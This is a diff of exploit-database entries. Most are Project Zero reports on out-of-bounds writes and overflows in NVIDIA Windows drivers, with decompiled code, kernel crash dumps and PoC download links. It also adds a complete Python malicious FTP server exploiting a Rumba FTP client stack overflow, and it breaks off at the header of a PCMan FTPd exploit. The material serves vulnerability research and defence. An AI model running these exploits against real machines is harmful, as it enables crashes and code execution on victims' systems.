For completeness, it looks like many of the other escape handlers in the same function has similar issues with writing to user provided pointers in an unchecked way. This should have been fairly obvious as the code is very close to each other in the same function.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40659.zip
|
||||
48
platforms/windows/dos/40661.txt
Executable file
48
platforms/windows/dos/40661.txt
Executable file
|
|
@ -0,0 +1,48 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=927
|
||||
|
||||
The DxgkDdiEscape handler for escape code 0x100010b looks like:
|
||||
|
||||
char escape_100010b(NvMiniportDeviceContext *miniport_context, HANDLE handle, unsigned int idx)
|
||||
{
|
||||
PVOID *Object;
|
||||
if ( !handle )
|
||||
do_debug_thingo();
|
||||
Object = (PVOID *)&miniport_context->UNKNOWN[8 * idx + 22696];
|
||||
if ( !ObReferenceObjectByHandle(handle_, SYNCHRONIZE, )ExEventObjectType, UserMode, Object, 0i64) )
|
||||
{
|
||||
result = 0;
|
||||
if ( *Object )
|
||||
result = UserMode;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
It essentially takes in a user mode event handle from userspace, and calls
|
||||
ObReferenceObjectByHandle on it, writing the object pointer to |Object|. Note
|
||||
that the kernel implementation of ObReferenceObjectByHandle always begins with
|
||||
writing NULL to this pointer regardless of whether or not the handle is valid.
|
||||
|
||||
|Object| is calculated using a user provided index that is not bounds checked,
|
||||
leading to OOB write of either NULL or the KEVENT pointer:
|
||||
|
||||
Object = (PVOID *)&miniport_context_->UNKNOWN[8 * idx + 22696];
|
||||
|
||||
The attached PoC causes the following crashing context on Win x64 372.54:
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
...
|
||||
rax=ffffe0025ea28f50 rbx=0000000000000000 rcx=0000000000000000
|
||||
rdx=0000000000100000 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff801d8f3daf5 rsp=ffffd000203deda0 rbp=0000000000000001
|
||||
r8=ffffe000506d4b50 r9=ffffe000524fb201 r10=0000000000000000
|
||||
r11=ffffd000203df370 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei pl zr na po nc
|
||||
nt!ObReferenceObjectByHandleWithTag+0x45:
|
||||
fffff801`d8f3daf5 488908 mov qword ptr [rax],rcx ds:ffffe002`5ea28f50=????????????????
|
||||
|
||||
To reproduce, compile as a x64 executable and run (requires WDK for D3DKMTEscape).
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40661.zip
|
||||
41
platforms/windows/dos/40662.txt
Executable file
41
platforms/windows/dos/40662.txt
Executable file
|
|
@ -0,0 +1,41 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=936
|
||||
|
||||
The DxgkDdiEscape handler for 0x7000170 lacks proper bounds checks for the variable size
|
||||
input escape data, and relies on a user provided size as the upper bound for writing output.
|
||||
|
||||
Crashing context with PoC (Win 10 x64 with 372.54):
|
||||
|
||||
KERNEL_SECURITY_CHECK_FAILURE (139)
|
||||
A kernel component has corrupted a critical data structure. The corruption
|
||||
could potentially allow a malicious user to gain control of this machine.
|
||||
...
|
||||
|
||||
rax=fffff801f417e600 rbx=0000000000000000 rcx=0000000000000002
|
||||
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff801f4152b75 rsp=ffffd000287b4468 rbp=ffffd000287b53e8
|
||||
r8=fffff801f4169e24 r9=ffffd000287b5620 r10=ffffd000287b5620
|
||||
r11=0000000000000450 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz ac pe nc
|
||||
dxgkrnl!_report_gsfailure+0x5:
|
||||
fffff801`f4152b75 cd29 int 29h
|
||||
Resetting default scope
|
||||
|
||||
EXCEPTION_RECORD: ffffd000287b4228 -- (.exr 0xffffd000287b4228)
|
||||
ExceptionAddress: fffff801f4152b75 (dxgkrnl!_report_gsfailure+0x0000000000000005)
|
||||
ExceptionCode: c0000409 (Security check failure or stack buffer overrun)
|
||||
ExceptionFlags: 00000001
|
||||
NumberParameters: 1
|
||||
Parameter[0]: 0000000000000002
|
||||
Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE
|
||||
|
||||
To reproduce, compile the PoC as a x64 binary (requires linking with
|
||||
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
|
||||
as for it to work as the escape data must contain the right values (e.g. a
|
||||
field that appears to be gpu bus device function). My PoC should hopefully set
|
||||
all the right values for the machine it's running on.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40662.zip
|
||||
|
||||
42
platforms/windows/dos/40663.txt
Executable file
42
platforms/windows/dos/40663.txt
Executable file
|
|
@ -0,0 +1,42 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=937
|
||||
|
||||
The DxgkDdiEscape handler for 0x5000027 accepts a user provided pointer,
|
||||
but does no checks on it before using it.
|
||||
|
||||
...
|
||||
DWORD* user_ptr = escape_5000027_data->user_ptr;
|
||||
v32 = user_ptr[2];
|
||||
v33 = user_ptr + 3;
|
||||
if ( v32 != -1 )
|
||||
v33 = (_DWORD *)v32;
|
||||
sub_91C24(miniport_context_, *user_ptr, user_ptr[1], v33, (__int64)&escape_data_);
|
||||
...
|
||||
|
||||
The PoC I’ve provided causes a read on said pointer, but based on inspecting where this pointer
|
||||
is passed it seems like there is at least 1 code path that can result in a write (I haven't
|
||||
confirmed this though).
|
||||
|
||||
(On Win 10 x64 with 372.54)
|
||||
|
||||
FAULTING_IP:
|
||||
nvlddmkm!nvDumpConfig+1338c7
|
||||
fffff801`8a26a79f 8b4808 mov ecx,dword ptr [rax+8]
|
||||
|
||||
CONTEXT: ffffd00023649970 -- (.cxr 0xffffd00023649970)
|
||||
rax=4141414141414141 rbx=ffffd0002364a870 rcx=0000000005000017
|
||||
rdx=ffffd0002364a498 rsi=0000000000000000 rdi=ffffd0002364a498
|
||||
rip=fffff8018a26a79f rsp=ffffd0002364a390 rbp=ffffd0002364a4a9
|
||||
r8=ffffd0002364a870 r9=ffffe8023c537220 r10=0000000000000000
|
||||
r11=ffffd0002364a370 r12=ffffe8023c537220 r13=fffff80189fa9370
|
||||
r14=ffffe000d6f2a000 r15=ffffe8023c537220
|
||||
iopl=0 nv up ei pl zr na po nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246
|
||||
nvlddmkm!nvDumpConfig+0x1338c7:
|
||||
fffff801`8a26a79f 8b4808 mov ecx,dword ptr [rax+8] ds:002b:41414141`41414149=????????
|
||||
Resetting default scope
|
||||
|
||||
To reproduce, compile PoC as a x64 executable and run (requires WDK for D3DKMTEscape).
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40663.zip
|
||||
48
platforms/windows/dos/40664.txt
Executable file
48
platforms/windows/dos/40664.txt
Executable file
|
|
@ -0,0 +1,48 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=940
|
||||
|
||||
The DxgkDdiEscape handler for 0x70001b2 doesn't do proper bounds checks for its
|
||||
variable size input.
|
||||
|
||||
void sub_8C4304(...) {
|
||||
...
|
||||
// escape_->size is controlled by the user.
|
||||
if ( escape_->size < size )
|
||||
size = escape_->size;
|
||||
memcpy(escape_->data, v31, 28i64 * size);
|
||||
...
|
||||
}
|
||||
|
||||
Note that this appears to be a common pattern. Normally, before
|
||||
escape handlers are executed, |PrivateDriverDataSize| (from DXGKARG_ESCAPE)
|
||||
is checked to be equal to some value against a hardcoded table. However, some escapes
|
||||
allow a more relaxed check that |PrivateDriverDataSize| >= minimum. This means that
|
||||
the handler themselves must implement an ad hoc bounds check, which either seems to be
|
||||
missing or implemented incorrectly (relying on a user specified value) in many cases.
|
||||
|
||||
bug 936 is a similar issue and there are likely more. I've noticed (but not confirmed)
|
||||
a few more OOB reads that I haven't reported that follow this same pattern.
|
||||
|
||||
Crashing context with PoC (Win 10 x64 with 372.54):
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
Invalid system memory was referenced. This cannot be protected by try-except.
|
||||
Typically the address is just plain bad or it is pointing at freed memory.
|
||||
Arguments:
|
||||
...
|
||||
rax=ffffd000239d51dc rbx=0000000000000000 rcx=fffffffffffffff4
|
||||
rdx=fffff000e9e6c754 rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff80166d6aca0 rsp=ffffd000239d3df8 rbp=ffffd000239d3f00
|
||||
r8=0000000000000924 r9=000000000000003b r10=000000000000e9ef
|
||||
r11=ffffd000239d48ac r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz ac pe cy
|
||||
nvlddmkm+0x5daca0:
|
||||
fffff801`66d6aca0 f30f7f40f0 movdqu xmmword ptr [rax-10h],xmm0 ds:ffffd000`239d51cc=????????????????????????????????
|
||||
Resetting default scope
|
||||
|
||||
To reproduce, compile as an x64 executable an run (requires WDK for D3DKMTEscape).
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40664.zip
|
||||
|
||||
60
platforms/windows/dos/40665.txt
Executable file
60
platforms/windows/dos/40665.txt
Executable file
|
|
@ -0,0 +1,60 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=942
|
||||
|
||||
The DxgkDdiEscape handler for escape 0x100009a lacks proper bounds checks:
|
||||
|
||||
case 0x100009A:
|
||||
...
|
||||
size_0 = escape_data->size_1;
|
||||
...
|
||||
size_1 = 2 - (escape_data->unknown < 18);
|
||||
...
|
||||
size_2 = escape_data->size_2;
|
||||
...
|
||||
total_size = size_0 * size_1 * size_2;
|
||||
...
|
||||
|
||||
if (total_size > 0x10)
|
||||
do_debug_thingo();
|
||||
|
||||
if (total_size) {
|
||||
DWORD* ptr = alloced_buf + 24;
|
||||
DWORD* user_buf = escape_data->data;
|
||||
...
|
||||
while (total_size) {
|
||||
*(ptr - 1) = *(user_buf - 1);
|
||||
*ptr = *user_buf;
|
||||
...
|
||||
user_buf += 4;
|
||||
ptr += 39;
|
||||
--total_size;
|
||||
}
|
||||
|
||||
There is a check that total_size > 0x10, which calls some kind of a
|
||||
debug/logging function (do_debug_thingo in my pseudocode), but it does not
|
||||
actually stop processing of the escape. This leads to buffer overflow on the
|
||||
allocated pool buffer later on.
|
||||
|
||||
Note that there is also a potential integer overflow in the calculation of
|
||||
|total_size|. Since the individual sizes (size_0, size_1, size_2) appear to be
|
||||
stored in a struct and eventually passed off to another function, there may be
|
||||
more problems later on too.
|
||||
|
||||
Crashing context with PoC (Win10 x64 with 372.54):
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||
Invalid system memory was referenced. This cannot be protected by try-except.
|
||||
Typically the address is just plain bad or it is pointing at freed memory.
|
||||
...
|
||||
rax=00000000caa6ed30 rbx=0000000000000000 rcx=ffffc001cd337044
|
||||
rdx=00000000000f41bd rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff80102461188 rsp=ffffd000243bbed0 rbp=ffffd000243bbfd0
|
||||
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
|
||||
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei pl nz na po nc
|
||||
nvlddmkm!nvDumpConfig+0x12a2b0:
|
||||
fffff801`02461188 8941fc mov dword ptr [rcx-4],eax ds:ffffc001`cd337040=????????
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40665.zip
|
||||
56
platforms/windows/dos/40666.txt
Executable file
56
platforms/windows/dos/40666.txt
Executable file
|
|
@ -0,0 +1,56 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=944
|
||||
|
||||
The DxgkDdiEscape handler for 0x70000d5 lacks bounds checks:
|
||||
|
||||
...
|
||||
|
||||
if ( g_saved_size )
|
||||
{
|
||||
escape->size = g_saved_size;
|
||||
if ( (unsigned int)g_saved_size > 0 )
|
||||
{
|
||||
do
|
||||
{
|
||||
v5 = v2++;
|
||||
escape->data[v5] = global_array[v5 + 77];
|
||||
}
|
||||
while ( v2 < g_saved_size );
|
||||
}
|
||||
return;
|
||||
}
|
||||
data = 0i64;
|
||||
|
||||
|
||||
...
|
||||
if ( escape->size > 0 )
|
||||
{
|
||||
do
|
||||
{
|
||||
ii = i++;
|
||||
global_array[ii + 77] = escape->data[ii];
|
||||
}
|
||||
while ( i < escape->size );
|
||||
|
||||
...
|
||||
g_saved_size = escape->size;
|
||||
|
||||
This handler copies data to/from a global array, but lacks any form of bounds checking, as
|
||||
|escape->size| is controlled by the user. This leads to overflow of the global buffer, and pool overflows
|
||||
when it's copied back into the escape data.
|
||||
|
||||
A PoC is attached that should cause a crash (Win 10 x64, 372.54):
|
||||
|
||||
KERNEL_SECURITY_CHECK_FAILURE (139)
|
||||
A kernel component has corrupted a critical data structure. The corruption
|
||||
could potentially allow a malicious user to gain control of this machine.
|
||||
Arguments:
|
||||
Arg1: 0000000000000002, Stack cookie instrumentation code detected a stack-based
|
||||
buffer overrun.
|
||||
Arg2: ffffd00022de52c0, Address of the trap frame for the exception that caused the bugcheck
|
||||
Arg3: ffffd00022de5218, Address of the exception record for the exception that caused the bugcheck
|
||||
Arg4: 0000000000000000, Reserved
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40666.zip
|
||||
|
||||
31
platforms/windows/dos/40667.txt
Executable file
31
platforms/windows/dos/40667.txt
Executable file
|
|
@ -0,0 +1,31 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=946
|
||||
|
||||
There is a missing bounds check in inner loop of the escape handler for 0x7000014
|
||||
that leads to a stack buffer overflow:
|
||||
|
||||
...
|
||||
for (DWORD i = 0; < escape->num_data; ++i) {
|
||||
...
|
||||
// size is user controlled.
|
||||
size = escape->data[i].size;
|
||||
for (DWORD j = 0; j < size; ++j) {
|
||||
stack_buf[j] = escape->data[...];
|
||||
}
|
||||
}
|
||||
|
||||
The attached PoC gives me the following crashing context (Win 10 x64, 372.54):
|
||||
|
||||
DRIVER_OVERRAN_STACK_BUFFER (f7)
|
||||
A driver has overrun a stack-based buffer. This overrun could potentially
|
||||
allow a malicious user to gain control of this machine.
|
||||
...
|
||||
ffffd000`23f94a78 fffff801`6e5deaf2 : ffffd000`23f95270 00000000`000000f7 ffffd000`23f94be0 fffff801`6e43c848 : nt!DbgBreakPointWithStatus
|
||||
ffffd000`23f94a80 fffff801`6e5de4c3 : 00000000`00000003 ffffd000`23f94be0 fffff801`6e56c600 00000000`000000f7 : nt!KiBugCheckDebugBreak+0x12
|
||||
ffffd000`23f94ae0 fffff801`6e55fa44 : 00000000`00000000 00000000`00000000 ffffc001`c8e7202c fffff801`6e7188b8 : nt!KeBugCheck2+0x893
|
||||
ffffd000`23f951f0 fffff800`c58e2bc6 : 00000000`000000f7 ffffd000`23f95270 000044dd`b2c37fec ffffbb22`4d3c8013 : nt!KeBugCheckEx+0x104
|
||||
ffffd000`23f95230 fffff800`c57ba4ce : ffffd000`23f95220 ffffe000`69a62000 00000000`00000001 00000000`07000014 : nvlddmkm+0x192bc6
|
||||
ffffd000`23f95270 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvlddmkm+0x6a4ce
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40667.zip
|
||||
54
platforms/windows/dos/40668.txt
Executable file
54
platforms/windows/dos/40668.txt
Executable file
|
|
@ -0,0 +1,54 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=947
|
||||
|
||||
The escape handler for 0x10000e9 lacks bounds checks, and passes a user
|
||||
specified size as the size to memcpy, resulting in a stack buffer overflow:
|
||||
|
||||
bool escape_10000e9(NvMiniportDeviceContext *a1, Escape10000e9 *escape) {
|
||||
...
|
||||
LOBYTE(a9) = escape_->unknown_5[1] != 0;
|
||||
LOBYTE(a8) = escape_->unknown_5[0] != 0;
|
||||
if ( !sub_DC57C(
|
||||
*(_QWORD *)(*(_QWORD *)(v4 + 104) + 1000i64),
|
||||
escape_->unknown_1,
|
||||
escape_->unknown_2,
|
||||
escape_->unknown_3,
|
||||
escape_->unknown_4,
|
||||
escape_->data,
|
||||
escape_->size,
|
||||
a8,
|
||||
a9,
|
||||
&escape_->unknown_5[2]) )
|
||||
return 0;
|
||||
escape_->header.result = 1;
|
||||
return 1;
|
||||
}
|
||||
|
||||
char sub_DC57C(...) {
|
||||
...
|
||||
// escape_buf is escape_->data from previous function
|
||||
// buf_size is escape->size
|
||||
memcpy(&stack_buf, escape_buf, (unsigned int)buf_size);
|
||||
...
|
||||
|
||||
Crashing context (Win 10 x64, 372.54):
|
||||
|
||||
DRIVER_OVERRAN_STACK_BUFFER (f7)
|
||||
A driver has overrun a stack-based buffer. This overrun could potentially
|
||||
allow a malicious user to gain control of this machine.
|
||||
...
|
||||
|
||||
STACK_TEXT:
|
||||
ffffd000`263bc188 fffff803`9d1deaf2 : 9d919d43`2d3cc8a7 00000000`000000f7 ffffd000`263bc2f0 fffff803`9d03c848 : nt!DbgBreakPointWithStatus
|
||||
ffffd000`263bc190 fffff803`9d1de4c3 : 00000000`00000003 ffffd000`263bc2f0 fffff803`9d16c600 00000000`000000f7 : nt!KiBugCheckDebugBreak+0x12
|
||||
ffffd000`263bc1f0 fffff803`9d15fa44 : 00000000`00000000 00000000`00000000 00000000`00000000 ffffc000`494d4764 : nt!KeBugCheck2+0x893
|
||||
ffffd000`263bc900 fffff800`ad8c2bc6 : 00000000`000000f7 9d919d43`2d3cc8a7 0000f6ec`74dc94fc ffff0913`8b236b03 : nt!KeBugCheckEx+0x104
|
||||
ffffd000`263bc940 fffff800`ad7fc6f7 : c0004492`55400400 ffff8000`00000000 ffffc000`44925540 00000000`00000000 : nvlddmkm+0x192bc6
|
||||
ffffd000`263bc980 ffffc000`585e78a0 : 00000000`000005d4 00430043`00310030 4666744e`03610107 00000000`00000000 : nvlddmkm+0xcc6f7
|
||||
ffffd000`263bce70 00000000`000005d4 : 00430043`00310030 4666744e`03610107 00000000`00000000 00000c48`01380702 : 0xffffc000`585e78a0
|
||||
ffffd000`263bce78 00430043`00310030 : 4666744e`03610107 00000000`00000000 00000c48`01380702 00010000`000166c2 : 0x5d4
|
||||
ffffd000`263bce80 4666744e`03610107 : 00000000`00000000 00000c48`01380702 00010000`000166c2 00000000`00000000 : 0x00430043`00310030
|
||||
ffffd000`263bce88 00000000`00000000 : 00000c48`01380702 00010000`000166c2 00000000`00000000 00000000`00000000 : 0x4666744e`03610107
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40668.zip
|
||||
|
|
@ -53,3 +53,19 @@ EXAMPLE:
|
|||
Using the BINARY_PATH_NAME listed above as an example, an executable named
|
||||
"Program.exe" could be placed in "C:\", and it would be executed as the
|
||||
Local System user next time the service was restarted.
|
||||
|
||||
|
||||
############################################################
|
||||
|
||||
From Lenovo PSIRT:
|
||||
|
||||
This issue was fixed in version 3.0.44.0, which was released on June 4, 2013. README for Lenovo Communications Utility program:
|
||||
|
||||
https://download.lenovo.com/pccbbs/mobiles/grcu19ww.txt
|
||||
|
||||
3.0.44.0 01 2013/06/04
|
||||
<3.0.44.0>
|
||||
- (Fix) Fixed the vulnerability issue of service program registration.
|
||||
- (Fix) Fixed the issue that vcamsvc.exe might crash.
|
||||
- (Fix) Fixed the issue that TpKnrres.exe might crash.
|
||||
- (Fix) Fixed the issue that TPKNRSVC.exe might crash.
|
||||
|
|
|
|||
14
platforms/windows/local/40655.txt
Executable file
14
platforms/windows/local/40655.txt
Executable file
|
|
@ -0,0 +1,14 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=880
|
||||
|
||||
The \\.\UVMLiteController device is created by the nvlddmkm.sys driver, and can be opened by any user. The driver handles various control codes for this device, but there is no validation for the input/output buffer and their sizes.
|
||||
|
||||
In addition to potential overreads on the input, the driver writes output directly to Irp->UserBuffer, which is the output pointer passed to DeviceIoControl() by the user. The IO control codes handled specify METHOD_BUFFERED, but the kernel does no validation that the output pointer is accessible by the user process if the user passes an output buffer size of 0.
|
||||
|
||||
This means that a user mode program can cause a write of (at least) the 32-bit values 0 or 31, or the 8-bit value 0 to any address given to the driver.
|
||||
|
||||
A PoC is attached that causes a bsod when the kernel tries to write to 0x4141414141414141+0x30.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40655.zip
|
||||
79
platforms/windows/local/40660.txt
Executable file
79
platforms/windows/local/40660.txt
Executable file
|
|
@ -0,0 +1,79 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=918
|
||||
|
||||
The NvStreamKms.sys driver calls PsSetCreateProcessNotifyRoutineEx to set up a
|
||||
process creation notification routine.
|
||||
|
||||
In this particular routine,
|
||||
|
||||
if ( cur->image_names_count > 0 ) {
|
||||
// info_ is the PPS_CREATE_NOTIFY_INFO that is passed to the routine.
|
||||
image_filename = info_->ImageFileName;
|
||||
buf = image_filename->Buffer;
|
||||
if ( buf )
|
||||
{
|
||||
if ( !v5 )
|
||||
{
|
||||
i = 0i64;
|
||||
num_chars = image_filename->Length / 2;
|
||||
// Look for the filename by scanning for backslash.
|
||||
if ( num_chars )
|
||||
{
|
||||
while ( buf[num_chars - (unsigned int)i - 1] != '\\' )
|
||||
{
|
||||
i = (unsigned int)(i + 1);
|
||||
if ( (unsigned int)i >= num_chars )
|
||||
goto LABEL_39;
|
||||
}
|
||||
buf += num_chars - (unsigned __int64)(unsigned int)i;
|
||||
}
|
||||
LABEL_39:
|
||||
v26 = (unsigned int)i;
|
||||
wcscpy_s((wchar_t *)Dst, i, buf);
|
||||
Dst[v26] = 0;
|
||||
wcslwr((wchar_t *)Dst);
|
||||
v5 = 1;
|
||||
|
||||
wcscpy_s is used incorrectly here, as the second argument is not the size of
|
||||
|Dst|, but rather the calculated size of the filename. |Dst| is a stack buffer
|
||||
that is at least 255 characters long. The the maximum component paths of most
|
||||
filesystems on Windows have a limit that is <= 255 though, so this shouldn't be
|
||||
an issue on normal filesystems.
|
||||
|
||||
However, one can pass UNC paths to CreateProcessW containing forward slashes as
|
||||
the path delimiter, which means that the extracted filename here can be
|
||||
"a/b/c/...", leading to a buffer overflow. Additionally, this function has no
|
||||
stack cookie.
|
||||
|
||||
e.g.
|
||||
|
||||
CreateProcessW(L"\\\\?\\UNC\\127.0.0.1@8000\\DavWWWRoot\\..../..../..../blah.exe", ...
|
||||
|
||||
Crashing context with my PoC (Win 10 x64 with 372.54):
|
||||
|
||||
NvStreamKms+0x1c6a:
|
||||
fffff801`5c791c6a c3 ret
|
||||
|
||||
kd> dqs rsp
|
||||
ffffd000`25bc5d18 00410041`00410041
|
||||
|
||||
kd> t
|
||||
|
||||
...
|
||||
|
||||
KMODE_EXCEPTION_NOT_HANDLED (1e)
|
||||
...
|
||||
FAULTING_IP:
|
||||
NvStreamKms+1c6a
|
||||
fffff800`5b1d1c6a c3 ret
|
||||
|
||||
To reproduce, a WebDAV server is required (can be localhost), and the WebClient
|
||||
service needs to be started (start can be triggered by user without additional privileges).
|
||||
|
||||
Then, run setup to create the long path to the target executable (you'll need to
|
||||
change the base directories), and then run poc_part1, and then poc_part2 (with
|
||||
the right UNC path) on the target machine.
|
||||
|
||||
|
||||
Proofs of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40660.zip
|
||||
|
||||
136
platforms/windows/remote/40651.py
Executable file
136
platforms/windows/remote/40651.py
Executable file
|
|
@ -0,0 +1,136 @@
|
|||
# Exploit Title: Rumba FTP 4.x Client Stackoverflow SEH
|
||||
# Date: 29-10-2016
|
||||
# Exploit Author: Umit Aksu
|
||||
# Vendor Homepage: http://community.microfocus.com/microfocus/mainframe_solutions/rumba/w/knowledge_base/28731.rumba-ftp-4-x-security-update.aspx
|
||||
# Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40307
|
||||
# Version: 4.x
|
||||
# Tested on: Windows 7
|
||||
# CVE : CVE-2016-5764
|
||||
|
||||
|
||||
|
||||
1. Description
|
||||
|
||||
Micro Focus Rumba FTP Client 4.x cannt handle long directory names. An attacker can setup a malicious FTP server that can send a long directory name which can led to remote code execution
|
||||
on connected client.
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
The code below can be used to setup a malicious FTP server that will send a long directory name and overwrite the stack. The PoC only overwrites the SEH + NSEH.
|
||||
|
||||
|
||||
3. PoC Code
|
||||
|
||||
|
||||
------------------- Server.py --------------------------
|
||||
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
|
||||
# IP Address
|
||||
IP = '127.0.0.1' \
|
||||
''
|
||||
# Create a TCP/IP socket
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# Bind the socket to the port
|
||||
server_address = (IP,21)
|
||||
print "Starting up on %s port %s" % server_address
|
||||
sock.bind(server_address)
|
||||
|
||||
# Listen for incoming connections
|
||||
sock.listen(1)
|
||||
|
||||
# Wait for incoming connection
|
||||
while True:
|
||||
print "Waiting for a connection"
|
||||
connection, client_address = sock.accept()
|
||||
|
||||
try:
|
||||
print "Connection from " + str(client_address)
|
||||
# Receive the data in small chunks and restransmit it
|
||||
connection.send("220 Welcome\r\n")
|
||||
|
||||
while(True):
|
||||
data = connection.recv(16)
|
||||
print "received %s" % data
|
||||
if "USER" in data:
|
||||
print "Sending 331"
|
||||
connection.send("331 Please specify the password.\r\n")
|
||||
if "PASS" in data:
|
||||
print "Sending 227"
|
||||
connection.send("230 Login successful.\n\n")
|
||||
if "PWD" in data:
|
||||
print "Sending 257"
|
||||
|
||||
# 77A632E2 add esp,908 pop pop pop ret
|
||||
# THIS IS THE PART WHERE THE OVERFLOW HAPPENS
|
||||
connection.send("257 \"/"+"A"*629+"\x45\x45\x45\x45"+ "\x44\x44\x44\x44" + "D"*185 + "rrrr" + "D"*211 + "\"\r\n")
|
||||
if "TYPE A" in data:
|
||||
print "Sending 200 Switching to ASCII mode."
|
||||
connection.send("200 Switching to ASCII mode.\r\n")
|
||||
if "TYPE I" in data:
|
||||
print "Sending 200 Switching to Binary mode."
|
||||
connection.send("200 200 Switching to Binary mode.\r\n")
|
||||
if "SYST" in data:
|
||||
print "Sending 215"
|
||||
connection.send("215 UNIX Type: L8\r\n")
|
||||
|
||||
if "SIZE" in data:
|
||||
print "Sending 200"
|
||||
connection.send("200 Switching to Binary mode. \r\n")
|
||||
|
||||
if "FEAT" in data:
|
||||
print "Sending 211-Features"
|
||||
connection.send("211-Features:\r\n EPRT\r\n EPSV\r\n MDTM\r\n PASV\r\n REST STREAM\r\n SIZE\r\n TVFS\r\n211 End\r\n")
|
||||
if "CWD" in data:
|
||||
print "Sending 250 Directory successfully changed."
|
||||
connection.send("250 Directory successfully changed.\r\n")
|
||||
|
||||
if "PASV" in str(data):
|
||||
print "Sending 227 Entering Passive Mode (130,161,45,252,111,183)\n\n"
|
||||
connection.send("227 Entering Passive Mode (130,161,45,252,111,183)\n\n")
|
||||
|
||||
# Listen on new socket for connection
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
print 'Socket created'
|
||||
|
||||
#Bind socket to local host and port
|
||||
try:
|
||||
s.bind((IP, 28599))
|
||||
except socket.error as msg:
|
||||
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
|
||||
sys.exit()
|
||||
|
||||
print 'Socket bind complete for PASV on port 28599'
|
||||
|
||||
#Start listening on socket
|
||||
s.listen(10)
|
||||
print 'Socket now listening on 28599'
|
||||
|
||||
#now keep talking with the client
|
||||
|
||||
#wait to accept a connection - blocking call
|
||||
conn, addr = s.accept()
|
||||
print 'Connected with ' + addr[0] + ':' + str(addr[1])
|
||||
time.sleep(1)
|
||||
print "Sending dir list"
|
||||
connection.send("150 Here comes the directory listing.\r\n")
|
||||
conn.send("d"*500+"rwx------ 2 500 500 4096 Nov 05 2007 " + "A." + "B"*500 + "\r\n")
|
||||
|
||||
# Send ok to ftp client
|
||||
connection.send("226 Directory send OK.\r\n")
|
||||
|
||||
# close the connection
|
||||
s.close()
|
||||
conn.close()
|
||||
break
|
||||
|
||||
if "EXIT" in str(data):
|
||||
print "REC"
|
||||
connection.send("Have a nice day!\r\n")
|
||||
break
|
||||
finally:
|
||||
connection.close()
|
||||
45
platforms/windows/remote/40670.py
Executable file
45
platforms/windows/remote/40670.py
Executable file
|
|
@ -0,0 +1,45 @@
|
|||
from ftplib import FTP
|
||||
|
||||
print '''
|
||||
##############################################
|
||||
# Created: ScrR1pTK1dd13 #
|
||||
# Name: Greg Priest #
|
||||
# Mail: ScrR1pTK1dd13.slammer@gmail.com #
|
||||
##############################################
|
||||
|
||||
# Exploit Title: PCmanftpd_delete_command_remotecode_exploit_Win7_x64_HUN_ENG
|
||||
# Date: 2016.10.31
|
||||
# Exploit Author: Greg Priest
|
||||
# Version: Pcmanftpd 2.0.7
